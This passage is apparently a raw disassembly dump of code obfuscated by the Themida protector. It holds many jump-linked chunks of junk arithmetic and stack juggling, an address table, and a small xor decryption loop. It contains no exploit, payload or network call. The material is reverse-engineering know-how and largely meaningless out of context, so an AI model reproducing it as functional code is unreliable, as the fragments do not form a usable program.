		mov	esp, [esp]
		push	ecx
		jmp	loc_548141
; ---------------------------------------------------------------------------


loc_54FB65:				; CODE XREF: Themida_:005488D9j
		push	36C1h
		mov	[esp], eax
		mov	eax, 33292459h
		add	esi, eax
		pop	eax
		pop	ecx
		sub	esi, 2
		push	esi
		jmp	loc_5499C6
; ---------------------------------------------------------------------------


loc_54FB82:				; CODE XREF: Themida_:0054AF86j
		sub	edx, 3B6F592Ah
		jmp	loc_544DBC
; ---------------------------------------------------------------------------


loc_54FB8D:				; CODE XREF: Themida_:00544EFAj
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54AEA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_54FBB2:				; CODE XREF: sub_545BCC+A43Dj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------
		jmp	loc_54E3E0
; ---------------------------------------------------------------------------


loc_54FBBD:				; CODE XREF: Themida_:loc_54534Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_544B72
; ---------------------------------------------------------------------------


loc_54FBCB:				; CODE XREF: Themida_:0054659Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54E712
; ---------------------------------------------------------------------------


loc_54FBE1:				; CODE XREF: Themida_:0054D801j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FBE6:				; CODE XREF: Themida_:00545104j
		push	5A07h
		mov	[esp], eax
		mov	eax, 1316B3A2h
		xor	edx, eax
		jmp	loc_5454CE
; ---------------------------------------------------------------------------


loc_54FBFA:				; CODE XREF: Themida_:0054B11Cj
		add	edx, edi
		pop	edi
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FC02:				; CODE XREF: Themida_:0054CD58j
		add	eax, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_54E4A8
; ---------------------------------------------------------------------------


loc_54FC0D:				; CODE XREF: Themida_:0054F64Aj
		push	ebx
		jmp	loc_54C1FC
; ---------------------------------------------------------------------------


loc_54FC13:				; CODE XREF: Themida_:0054B758j
		and	ebp, 4D5F0C46h
		sub	ebp, 62FC90h
		sub	eax, ebp
		pop	ebp
		jmp	loc_548EB8
; ---------------------------------------------------------------------------


loc_54FC27:				; CODE XREF: Themida_:0054F822j
		xchg	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5498E1
; ---------------------------------------------------------------------------


loc_54FC3A:				; CODE XREF: Themida_:00544487j
		mov	[esp], eax
		mov	eax, 44716349h
		sub	edx, 56DB65EBh
		sub	edx, eax
		add	edx, 56DB65EBh
		mov	eax, [esp]
		jmp	loc_54C5CA
; ---------------------------------------------------------------------------


loc_54FC58:				; CODE XREF: Themida_:0054842Fj
		sub	esp, 4
		jmp	loc_54AB0A
; ---------------------------------------------------------------------------


loc_54FC63:				; CODE XREF: Themida_:0054467Aj
		mov	ecx, 4
		jmp	loc_544093
; ---------------------------------------------------------------------------


loc_54FC6D:				; CODE XREF: Themida_:005475C9j
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FC79:				; CODE XREF: Themida_:0054E34Ej
		pop	eax
		add	esp, 4
		jmp	loc_548AAF
; ---------------------------------------------------------------------------


loc_54FC82:				; CODE XREF: Themida_:00545B44j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FC87:				; CODE XREF: Themida_:0054F294j
		add	dl, 0CBh
		jmp	loc_54B532
; ---------------------------------------------------------------------------


loc_54FC8F:				; CODE XREF: Themida_:005446F5j
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 253E194Fh
		pop	ecx
		pop	ebp
		push	edx
		mov	edx, 3EC54E6Ah
		add	ebp, edx
		pop	edx
		push	5E07h
		mov	[esp], ebp
		pop	dword ptr [edi+20h]
		pop	ebp
		jmp	loc_547A49
; ---------------------------------------------------------------------------


loc_54FCBC:				; CODE XREF: Themida_:00545B9Ej
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		xor	ecx, 39745315h
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 3483EEFh
		push	2168h
		jmp	loc_54EB0E
; ---------------------------------------------------------------------------


loc_54FCFB:				; CODE XREF: Themida_:0054DD98j
		add	edx, 4
		jmp	loc_54E3F6
; ---------------------------------------------------------------------------


loc_54FD06:				; CODE XREF: Themida_:00544C70j
		sub	ebp, 0D06ADFh
		add	edx, ebp
		pop	ebp
		sub	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	[esp], cx
		mov	cx, 298Dh
		add	bx, cx
		pop	cx
		movzx	eax, ax
		push	small 1A32h
		mov	[esp], ax
		jmp	loc_544022
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esi
		jmp	loc_545798
; ---------------------------------------------------------------------------


loc_54FD3E:				; CODE XREF: Themida_:0054EA35j
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_5458C5
; ---------------------------------------------------------------------------


loc_54FD4D:				; CODE XREF: Themida_:0054C901j
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	ebx
		jmp	loc_545AF3
; ---------------------------------------------------------------------------


loc_54FD5A:				; CODE XREF: Themida_:00545D57j
		add	edi, ebp
		jmp	loc_54A5C3
; ---------------------------------------------------------------------------


loc_54FD61:				; CODE XREF: Themida_:0054F104j
		mov	[esp], ebx
		mov	ebx, 1EE73C9Bh
		xor	ebx, 1EE73C9Fh
		push	ebx
		mov	ebx, 3F3C267Fh
		add	edi, ebx
		pop	ebx
		sub	edi, 653242CEh
		add	edi, ebx
		add	edi, 653242CEh
		jmp	loc_5471A8
; ---------------------------------------------------------------------------


loc_54FD8B:				; CODE XREF: Themida_:0054DA68j
		dec	ebp
		push	ebp
		jmp	loc_549BDF
; ---------------------------------------------------------------------------


loc_54FD92:				; CODE XREF: Themida_:00544544j
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B6D0
; ---------------------------------------------------------------------------


loc_54FDA1:				; CODE XREF: Themida_:00545AC4j
		xor	edx, 6E1674FCh
		dec	edx
		add	edx, 1
		xor	edx, 7C3C3F85h
		jmp	loc_54E524
; ---------------------------------------------------------------------------


loc_54FDB6:				; CODE XREF: Themida_:0054B3F9j
		pop	ebx
		mov	edi, [esp]
		jmp	loc_546566
; ---------------------------------------------------------------------------


loc_54FDBF:				; CODE XREF: Themida_:0054F11Ej
		push	edx
		mov	dl, 85h
		jmp	loc_548434
; ---------------------------------------------------------------------------


loc_54FDC7:				; CODE XREF: Themida_:0054B85Cj
		add	edi, 0FFFFFFFFh
		jmp	loc_54ECF4
; ---------------------------------------------------------------------------


loc_54FDCF:				; CODE XREF: Themida_:0054A175j
		inc	esi
		shl	esi, 2
		jmp	loc_54691A
; ---------------------------------------------------------------------------


loc_54FDD8:				; CODE XREF: Themida_:0054B94Bj
		sub	bl, 0Eh
		pop	ax
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FDE8:				; CODE XREF: Themida_:005445F8j
		add	ebp, edi
		sub	ebp, 57CE1283h
		mov	edi, [esp]
		add	esp, 4
		push	82Eh
		jmp	loc_54CB72
; ---------------------------------------------------------------------------


loc_54FE03:				; CODE XREF: Themida_:0054BEBBj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	0DDDh
		jmp	loc_54B33C
; ---------------------------------------------------------------------------


loc_54FE17:				; CODE XREF: Themida_:0054A38Bj
		push	esi
		mov	esi, 4984389Fh
		and	esi, 6D0719A2h
		inc	esi
		or	esi, 6E613B9Fh
		and	esi, 6BB36D50h
		sub	esi, 3D48C9A7h
		jmp	loc_54B844
; ---------------------------------------------------------------------------


loc_54FE3B:				; CODE XREF: Themida_:0054D8A4j
		sub	eax, 42E85E6Dh
		neg	eax
		shr	eax, 1
		jmp	loc_547078
; ---------------------------------------------------------------------------


loc_54FE49:				; CODE XREF: Themida_:0054607Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FE58:				; CODE XREF: Themida_:0054B1DDj
		push	edx
		jmp	loc_5495A2
; ---------------------------------------------------------------------------


loc_54FE5E:				; CODE XREF: Themida_:0054B406j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_54F931
; ---------------------------------------------------------------------------


loc_54FE6D:				; CODE XREF: Themida_:0054B13Fj
		sub	esi, 5732257Dh
		jmp	loc_54E3B0
; ---------------------------------------------------------------------------


loc_54FE78:				; CODE XREF: Themida_:00548F10j
		mov	esp, [esp]
		jmp	loc_544F2C
; ---------------------------------------------------------------------------


loc_54FE80:				; CODE XREF: Themida_:0054617Dj
		mov	esp, [esp]
		pop	esi
		not	esi
		jmp	loc_546210
; ---------------------------------------------------------------------------


loc_54FE8B:				; CODE XREF: Themida_:0054EE01j
		neg	edi
		add	edi, 2C8BE6E1h
		sub	ebp, 37370C63h
		add	ebp, edi
		add	ebp, 37370C63h
		mov	edi, [esp]
		push	eax
		jmp	loc_54A244
; ---------------------------------------------------------------------------


loc_54FEAA:				; CODE XREF: Themida_:00548617j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_548ACE
; ---------------------------------------------------------------------------


loc_54FEB6:				; CODE XREF: Themida_:0054AB7Dj
		sub	edx, 7D7D7FF3h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54FED9:				; CODE XREF: Themida_:005472FEj
		push	small 320Bh
		jmp	loc_547FAF
; ---------------------------------------------------------------------------


loc_54FEE2:				; CODE XREF: Themida_:00548F57j
		mov	esi, 4
		mov	ecx, esi
		jmp	loc_54925F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	3DAAh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 52064FB5h
		mov	ecx, 0D854DF95h
		jmp	loc_544716
; ---------------------------------------------------------------------------


loc_54FF1B:				; CODE XREF: Themida_:0054B916j
		push	edi
		jmp	loc_54EDF9
; ---------------------------------------------------------------------------


loc_54FF21:				; CODE XREF: Themida_:0054E715j
		xchg	esi, [esp]
		pop	esp
		jmp	near ptr word_545C7A
; ---------------------------------------------------------------------------


loc_54FF2A:				; CODE XREF: Themida_:00544940j
		pop	eax
		xor	esi, 206E1CD5h
		and	esi, 768903D2h
		shr	esi, 3
		sub	esi, 0B31CC109h
		sub	edi, esi
		jmp	loc_546DAA
; ---------------------------------------------------------------------------


loc_54FF47:				; CODE XREF: Themida_:00547F35j
		add	eax, 3F230D1Ch
		jmp	loc_549B41
; ---------------------------------------------------------------------------


loc_54FF51:				; CODE XREF: Themida_:0054C5E7j
		xor	edi, 1828550Eh
		add	edi, 5046AEDh
		dec	edi
		sub	edi, 276D8FBCh
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 59805B3Fh
		jmp	loc_547E02
; ---------------------------------------------------------------------------


loc_54FF81:				; CODE XREF: Themida_:0054D067j
		pop	edx
		shr	ecx, 7
		push	ebx
		push	edi
		mov	edi, 3F177F38h
		not	edi
		or	edi, 7C817DA4h
		jmp	loc_546AD4
; ---------------------------------------------------------------------------


loc_54FF99:				; CODE XREF: Themida_:0054F571j
		pop	edx
		jmp	loc_5468C0
; ---------------------------------------------------------------------------


loc_54FF9F:				; CODE XREF: Themida_:005472BFj
		pop	ecx
		sub	ebx, ebp
		pop	ebp
		sub	edx, ebx
		jmp	loc_54F61D
; ---------------------------------------------------------------------------


loc_54FFAA:				; CODE XREF: Themida_:0054D4D5j
		and	ecx, 5CEF12CFh
		jmp	loc_5488B5
; ---------------------------------------------------------------------------


loc_54FFB5:				; CODE XREF: Themida_:005459DDj
		pop	ebp
		add	ebx, edx
		pop	edx
		jmp	loc_54D88C
; ---------------------------------------------------------------------------


loc_54FFBE:				; CODE XREF: Themida_:00547DC2j
		pop	dword ptr [esp]
		jmp	loc_548100
; ---------------------------------------------------------------------------


loc_54FFC6:				; CODE XREF: Themida_:00547EABj
		pop	esp
		movzx	ecx, ax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 13465D77h
		inc	edi
		jmp	loc_5451BE
; ---------------------------------------------------------------------------


loc_54FFE8:				; CODE XREF: Themida_:0054DDCEj
		push	cx
		mov	ch, 66h
		jmp	loc_5497B2
; ---------------------------------------------------------------------------


loc_54FFF1:				; CODE XREF: Themida_:00548B33j
		mov	ebx, 2FBD16EBh
		jmp	loc_54A2DB
; ---------------------------------------------------------------------------


loc_54FFFB:				; CODE XREF: Themida_:0054932Bj
		mov	[esp], edx
		jmp	loc_5467E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_550003:				; CODE XREF: sub_545BCC+5DC2j
		add	esp, 4
		jmp	loc_54FBB2
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_55000E:				; CODE XREF: Themida_:0054BBDEj
		bts	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_550019:				; CODE XREF: Themida_:00548EB3j
		xor	edx, [esp]
		jmp	loc_54D6AE
; ---------------------------------------------------------------------------


loc_550021:				; CODE XREF: Themida_:0054DA86j
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_54B75D
; ---------------------------------------------------------------------------


loc_55002A:				; CODE XREF: Themida_:0054E0D7j
		add	edi, eax
		jmp	loc_549E50
; ---------------------------------------------------------------------------


loc_550031:				; CODE XREF: Themida_:00545C8Dj
		mov	[esp], edi
		push	ebp
		mov	ebp, 2
		mov	edi, ebp
		pop	ebp
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_550055:				; CODE XREF: Themida_:005476C0j
		pop	ebp
		add	edx, eax
		sub	edx, 278F4DA3h
		push	ebx
		mov	ebx, 3C151A2h
		not	ebx
		jmp	loc_544B15
; ---------------------------------------------------------------------------


loc_55006B:				; CODE XREF: Themida_:0054A0B8j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 33B05D7Fh
		add	ebx, 4656C8Dh
		jmp	loc_54BF49
; ---------------------------------------------------------------------------


loc_550086:				; CODE XREF: Themida_:0054F265j
		inc	cl
		push	edx
		mov	dh, 45h
		jmp	loc_54737E
; ---------------------------------------------------------------------------


loc_550090:				; CODE XREF: Themida_:0054627Cj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_548CE4
; ---------------------------------------------------------------------------


loc_5500A5:				; CODE XREF: Themida_:0054AD34j
		sub	esi, edx
		jmp	loc_54CAFF
; ---------------------------------------------------------------------------


loc_5500AC:				; CODE XREF: Themida_:00547115j
		sub	ah, 0Ch
		dec	ah
		neg	ah
		jmp	loc_54B279
; ---------------------------------------------------------------------------


loc_5500B8:				; CODE XREF: Themida_:0054CE2Dj
		mov	ebx, 4D1957D9h
		neg	ebx
		xor	ebx, 9586A531h
		sub	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5C126D4Ah
		jmp	loc_54D934
; ---------------------------------------------------------------------------


loc_5500D3:				; CODE XREF: Themida_:005454DEj
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B411
; ---------------------------------------------------------------------------
		db 0A4h, 0C0h, 48h
		dd 0FFA434FAh, 5A760EFFh, 5A1A0800h, 0CD08EB00h, 0FFE72EC2h
		dd 5A24E4FFh, 20700h, 200h, 100h, 200h,	48C0A400h, 0FAh
		dd 4 dup(0)
		dd 5599E300h, 551BDC00h, 550E4300h, 55093400h, 5521DC00h
		dd 55290400h, 55C04200h, 56384C00h, 55B0F000h, 55F49500h
		dd 5591E600h, 55F37F00h, 557E6E00h, 55DF9300h, 55249C00h
		dd 55725C00h, 552C0600h, 5648E900h, 563A7600h, 55946700h
		dd 5528CF00h, 55789A00h, 55DF0C00h, 55774700h, 562DA200h
		dd 5634D800h, 55332200h, 559EFE00h, 561BF400h, 5621B300h
		dd 55387F00h, 550B8900h, 55220000h, 557D1700h, 5513CF00h
		dd 55810E00h, 55780900h, 55CA5E00h, 5589ED00h, 55D34800h
		dd 5582EA00h, 5597AC00h, 5655C400h, 56430A00h, 5653A800h
		dd 5628CA00h, 55131900h, 558B7900h, 55E15700h, 5572D800h
		dd 55301A00h, 550C6A00h, 55D19D00h, 55994200h, 550D8000h
		dd 55278400h, 565CC700h, 55FEBD00h, 55CC8E00h, 56283C00h
		dd 55829700h, 55BB6200h, 55C9DA00h, 55C87500h, 556C7D00h
		dd 5529DE00h, 56334300h, 55476B00h, 553D9D00h, 5528E000h
		dd 5536EF00h, 55A53800h, 5557BF00h, 553C2100h, 55C06700h
		dd 56533600h, 5558D400h, 554EFF00h, 55491000h, 55AD5200h
		dd 562B8600h, 56126C00h, 555D7B00h, 55DEE200h, 56064A00h
		dd 55AB6500h, 550C5800h, 55177100h, 55B96800h, 5555B400h
		dd 5619F300h, 565ADB00h, 557CEC00h, 55BF7400h, 561AF600h
		dd 55C7A400h, 561B4F00h, 55D33900h, 564BCD00h, 55A70E00h
		dd 5559BD00h, 553B0A00h, 55257D00h, 55EEAD00h, 55AD0F00h
		dd 55F3D500h, 55801400h, 55A89A00h, 5574C300h, 5524B000h
		dd 550F3700h, 558F0B00h, 562B3400h, 55517C00h, 5505B400h
		dd 55435100h, 55FE3D00h, 55FA1C00h, 55A0D700h, 55326A00h
		dd 55924B00h, 55186F00h, 56095A00h, 562AE900h, 55644D00h
		dd 558F6C00h, 553C9400h, 5618D600h, 55314A00h, 561FE600h
		dd 55E64900h, 55238E00h, 5564AA00h, 55E3A400h, 560F5300h
		dd 55983D00h, 55F42300h, 55576B00h, 56147D00h, 55143D00h
		dd 562BB300h, 55A99300h, 55696800h, 55F1D400h, 56189600h
		dd 55F95D00h, 56564B00h, 55414100h, 55645F00h, 5533C500h
		dd 55F8E800h, 5537C900h, 5593D900h, 561CEE00h, 55E3F700h
		dd 55245500h, 5558F000h, 55271500h, 55256000h, 55486800h
		dd 55F14200h, 55DA4200h, 55522500h, 55A07700h, 55BD5100h
		dd 55F93000h, 56500D00h
		db 0
; ---------------------------------------------------------------------------


loc_5503D9:				; CODE XREF: Themida_:005909ADj
					; Themida_:005909B7j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 60C433Dh
		mov	eax, edi
		add	edi, 60C4055h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5503F7
		jmp	short loc_55040A
; ---------------------------------------------------------------------------


loc_5503F7:				; CODE XREF: Themida_:005503F3j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550406
; ---------------------------------------------------------------------------


loc_550401:				; CODE XREF: Themida_:00550408j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550406:				; CODE XREF: Themida_:005503FFj
		or	ecx, ecx
		jnz	short loc_550401


loc_55040A:				; CODE XREF: Themida_:005503F5j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_550417:				; CODE XREF: Themida_:0055041Ej
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_550417


loc_550420:				; CODE XREF: Themida_:0055053Aj
					; Themida_:0055063Bj ...
		lodsb
		xor	al, bl
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	0A16h
		mov	[esp], ebx
		mov	bh, 79h
		sub	esp, 4
		jmp	loc_555CC8
; ---------------------------------------------------------------------------


loc_55044B:				; CODE XREF: Themida_:00563E74j
		mov	edx, 3E8A3225h
		jmp	loc_5624D2
; ---------------------------------------------------------------------------


loc_550455:				; CODE XREF: Themida_:0055BFFBj
		add	esp, 4
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	4024h
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		push	ebx
		jmp	loc_5552A8
; ---------------------------------------------------------------------------


loc_55046F:				; CODE XREF: Themida_:00560BD0j
		mov	al, 8Bh
		xor	al, 0F7h
		add	cl, 0F1h
		sub	cl, al
		jmp	loc_55955A
; ---------------------------------------------------------------------------


loc_55047D:				; CODE XREF: Themida_:0055A7A1j
		or	esi, 58995837h
		jmp	loc_56394D
; ---------------------------------------------------------------------------


loc_550488:				; CODE XREF: Themida_:005525B5j
		and	bl, 0D1h
		add	bl, 3Bh
		jmp	loc_56534E
; ---------------------------------------------------------------------------


loc_550493:				; CODE XREF: Themida_:00555970j
		add	ecx, 214172CEh
		pop	edi
		push	4162h
		mov	[esp], edi
		mov	edi, 3AF76AB4h
		sub	edi, 761258E3h
		add	edi, 414A0742h
		add	edi, 0F9D0E6F1h
		jmp	loc_552668
; ---------------------------------------------------------------------------


loc_5504BE:				; CODE XREF: Themida_:00551A64j
		push	13B03F9h
		jmp	loc_5628AB
; ---------------------------------------------------------------------------


loc_5504C8:				; CODE XREF: Themida_:005615ECj
		add	edx, 16EBDE4Ah
		jmp	loc_55F3E8
; ---------------------------------------------------------------------------


loc_5504D3:				; CODE XREF: Themida_:0055380Dj
		push	edx
		mov	edx, 2DE5550Dh
		and	edx, 6110235Bh
		xchg	esi, edx
		jmp	loc_557F5E
; ---------------------------------------------------------------------------


loc_5504E6:				; CODE XREF: Themida_:0055148Cj
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 14AA45AFh
		sub	esp, 4
		mov	[esp], eax
		push	3CC40251h
		pop	eax
		shl	eax, 5
		or	eax, 77FD508Fh
		push	0
		sub	[esp], eax
		pop	eax
		shr	eax, 7
		push	edx
		jmp	loc_5607EE
; ---------------------------------------------------------------------------


loc_550529:				; CODE XREF: Themida_:00564DB7j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55053F:				; CODE XREF: Themida_:0055B74Ej
		push	ebx
		jmp	loc_5537FC
; ---------------------------------------------------------------------------


loc_550545:				; CODE XREF: Themida_:00559251j
		add	esp, 4
		sub	esp, 4
		jmp	loc_564E40
; ---------------------------------------------------------------------------


loc_550553:				; CODE XREF: Themida_:005602F2j
		pop	esi
		inc	esi
		sub	esi, 37065E90h
		add	esi, 0D1E5ECDDh
		add	ebp, esi
		pop	esi
		jmp	loc_56212E
; ---------------------------------------------------------------------------


loc_550569:				; CODE XREF: Themida_:00561737j
		push	esp
		pop	ebx
		push	edi
		jmp	loc_557A0C
; ---------------------------------------------------------------------------


loc_550571:				; CODE XREF: Themida_:0055BCBFj
		mov	esp, [esp]
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		jmp	loc_55F082
; ---------------------------------------------------------------------------


loc_550585:				; CODE XREF: Themida_:00564B35j
		add	edi, 46723868h
		push	ebx
		mov	ebx, 269D7FDh
		sub	edi, ebx
		pop	ebx
		add	ebx, edi
		pop	edi
		jmp	loc_5647B2
; ---------------------------------------------------------------------------


loc_55059C:				; CODE XREF: Themida_:0055A980j
		xor	esi, 5DB07337h
		inc	esi
		sub	esi, 2F49564Dh
		push	ebp
		mov	ebp, esi
		mov	eax, ebp
		pop	ebp
		jmp	loc_55F7EE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56410C
; ---------------------------------------------------------------------------


loc_5505DB:				; CODE XREF: Themida_:0055335Bj
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_559A44
; ---------------------------------------------------------------------------


loc_5505E7:				; CODE XREF: Themida_:00561783j
		pop	ebx
		pop	eax
		mov	edx, [esp]
		jmp	loc_550FA3
; ---------------------------------------------------------------------------


loc_5505F1:				; CODE XREF: Themida_:00562181j
		add	edx, 0D4B8BA08h
		push	2223h
		mov	[esp], ebp
		mov	ebp, 668D10AFh
		and	ebp, 61B720C9h
		shl	ebp, 6
		jmp	loc_551F68
; ---------------------------------------------------------------------------


loc_550612:				; CODE XREF: Themida_:00554DADj
		sub	al, bl
		jmp	loc_55ADB1
; ---------------------------------------------------------------------------


loc_550619:				; CODE XREF: Themida_:00552B3Fj
		xchg	ebx, [esp]
		jmp	loc_55919A
; ---------------------------------------------------------------------------


loc_550621:				; CODE XREF: Themida_:0055DEBCj
		sub	ch, 0BCh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	eax
		jmp	loc_5636E8
; ---------------------------------------------------------------------------


loc_550631:				; CODE XREF: Themida_:00564364j
		mov	esi, 6EAF2C66h
		add	[esp+4], esi
		pop	esi
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_550640:				; CODE XREF: Themida_:00564C28j
		pop	esp
		mov	[esp], ecx
		push	eax
		push	10C4h
		mov	[esp], edx
		push	ecx
		mov	ch, 82h
		mov	dl, 64h
		push	5B9Ch
		mov	[esp], ebx
		mov	bh, 78h
		inc	bh
		jmp	loc_55115A
; ---------------------------------------------------------------------------


loc_550663:				; CODE XREF: Themida_:0055A300j
		mov	edi, 3A436767h
		jmp	loc_562F71
; ---------------------------------------------------------------------------


loc_55066D:				; CODE XREF: Themida_:00564215j
		add	ecx, edi
		add	ecx, 10D007DEh
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_561B56
; ---------------------------------------------------------------------------


loc_55067E:				; CODE XREF: Themida_:0055EB17j
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		push	edi
		push	edx
		push	3F5E1091h
		pop	edx
		shl	edx, 8
		jmp	loc_55405C
; ---------------------------------------------------------------------------


loc_550693:				; CODE XREF: Themida_:00563302j
		pop	ebp
		add	esi, 21F30FCAh
		jmp	loc_558BA3
; ---------------------------------------------------------------------------


loc_55069F:				; CODE XREF: Themida_:0055E540j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	588Dh
		mov	[esp], esp
		push	edx
		jmp	loc_558B88
; ---------------------------------------------------------------------------


loc_5506B4:				; CODE XREF: Themida_:0056291Bj
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5506D8:				; CODE XREF: Themida_:00561FD1j
		not	esi
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_563D49
; ---------------------------------------------------------------------------


loc_5506F3:				; CODE XREF: Themida_:005528E1j
		push	esp
		pop	ecx
		push	392h
		jmp	loc_558BD5
; ---------------------------------------------------------------------------


loc_5506FF:				; CODE XREF: Themida_:005607D2j
		xor	edi, [esp]
		pop	esp
		jmp	loc_55A943
; ---------------------------------------------------------------------------


loc_550708:				; CODE XREF: Themida_:0056002Ej
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_55070E:				; CODE XREF: Themida_:005538DAj
		push	440Dh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		push	ebx
		mov	ebx, 68B4686Eh
		sub	eax, 459730ACh
		jmp	loc_5648CD
; ---------------------------------------------------------------------------


loc_55073A:				; CODE XREF: Themida_:005621D5j
		add	[esp+4], ebx
		jmp	loc_5624EE
; ---------------------------------------------------------------------------


loc_550743:				; CODE XREF: Themida_:00552999j
		mov	eax, 52556548h
		dec	eax
		add	eax, 6D3FC22h
		xor	edi, eax
		pop	eax
		add	edi, 5319C25h
		sub	esi, edi
		pop	edi
		push	ecx
		jmp	loc_554FA5
; ---------------------------------------------------------------------------


loc_550760:				; CODE XREF: Themida_:0056242Aj
		sub	esi, 33857C7Fh
		sub	esi, 84B45482h
		add	ebx, esi
		pop	esi
		jmp	loc_55C642
; ---------------------------------------------------------------------------


loc_550774:				; CODE XREF: Themida_:0056453Bj
		pop	edx
		jmp	loc_55ED91
; ---------------------------------------------------------------------------


loc_55077A:				; CODE XREF: Themida_:0055EC72j
		push	ecx
